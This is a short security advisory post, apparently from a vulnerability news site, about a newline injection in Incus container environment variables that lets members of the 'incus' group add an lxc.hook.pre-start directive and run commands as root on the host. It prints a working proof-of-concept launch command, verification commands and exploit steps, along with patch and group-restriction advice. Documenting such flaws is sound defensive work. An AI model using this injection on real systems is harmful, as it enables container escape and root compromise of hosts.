Listen to this Post
The vulnerability is a newline injection in Incus when launching a container with a custom YAML configuration. Environment variable values within the container’s config block are not sanitized for newline characters. When these values are written to the container’s generated `lxc.conf` file, the injected newline allows an attacker to break out of the environment variable line and add entirely new configuration directives. By injecting a configuration line such as lxc.hook.pre-start, an attacker can specify an arbitrary command to be executed by the host’s root user during the container lifecycle. This provides a member of the ‘incus’ group with the ability to escape the container and achieve full root command execution on the host operating system.
Platform: Incus
Version: Not Specified
Vulnerability: Newline Injection
Severity: Critical
date:
Prediction: Patch Expected
What Undercode Say:
incus launch images:alpine/edge --ephemeral poc << EOF config: environment.FOO: |- abc lxc.hook.pre-start = /bin/sh -c "id > /newline_injection_command_exec_poc" EOF
cat /run/incus/user-1000_poc/lxc.conf
ls -la /newline_injection_command_exec_poc
How Exploit:
- Launch container with malicious environment variable containing newline and `lxc.hook.pre-start` directive.
- The Incus daemon writes the unsanitized value to the container’s
lxc.conf.
3. The newline injects the hook configuration.
- The host executes the hook command as root during container start.
Protection from this CVE
Apply patch validating newlines in environment variable values within container configs. Restrict `incus` group membership.
Impact:
Host Root Command Execution
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
